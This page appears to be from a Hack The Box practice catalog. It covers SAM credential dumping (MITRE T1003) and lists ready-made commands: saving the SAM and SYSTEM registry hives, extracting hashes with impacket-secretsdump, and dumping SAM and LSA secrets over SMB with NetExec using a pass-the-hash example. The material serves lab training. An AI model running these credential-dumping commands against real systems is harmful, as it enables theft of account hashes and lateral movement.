Security Account Manager
Sub-technique of T1003 OS Credential Dumping ↗
Copying the SAM and SYSTEM registry hives to extract local users' hashes.
How it shows up on Hack The Box
With SeBackupPrivilege (Backup Operators) reg save hklm\sam and hklm\system is enough; then secretsdump in LOCAL mode. The local admin hash often works on other machines.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
- Cross-Site Scripting (XSS)
- CSRF
- SQL injection
- SSRF
- Saved credentials / DPAPI
- ADCS (certificates)
- NTLM capture and relay
- Pass-the-hash / ticket
- Password spraying and valid users
- Credentials in files
- Internal services and port forwarding
- SAM/LSA/LSASS dumping
- ACL abuse (BloodHound)
- GPP and GPO abuse
- Hash cracking
Guides
- Windows credential dumping: SAM, LSA, LSASS, DPAPI and NTDS.dit 4 min read Where Windows keeps credentials and how to get them: SAM and SYSTEM, LSA secrets, LSASS with lsassy or pypykatz, DPAPI, and NTDS.dit with SeBackup.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
Windows and Active Directory privilege escalation › Windows
SeBackupPrivilege (copy SAM and SYSTEM)
reg save hklm\sam C:\Windows\Temp\sam
reg save hklm\system C:\Windows\Temp\system
Extract the SAM hashes
Attacker
impacket-secretsdump -sam sam -system system LOCAL
Active Directory in depth › Impacket
SAM/LSA (local admin)
Attacker
impacket-secretsdump box.htb/usuario:'Password123!'@10.10.11.20
NetExec (nxc) › As an administrator
SAM and LSA
nxc smb 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b --sam --lsa
No command matches.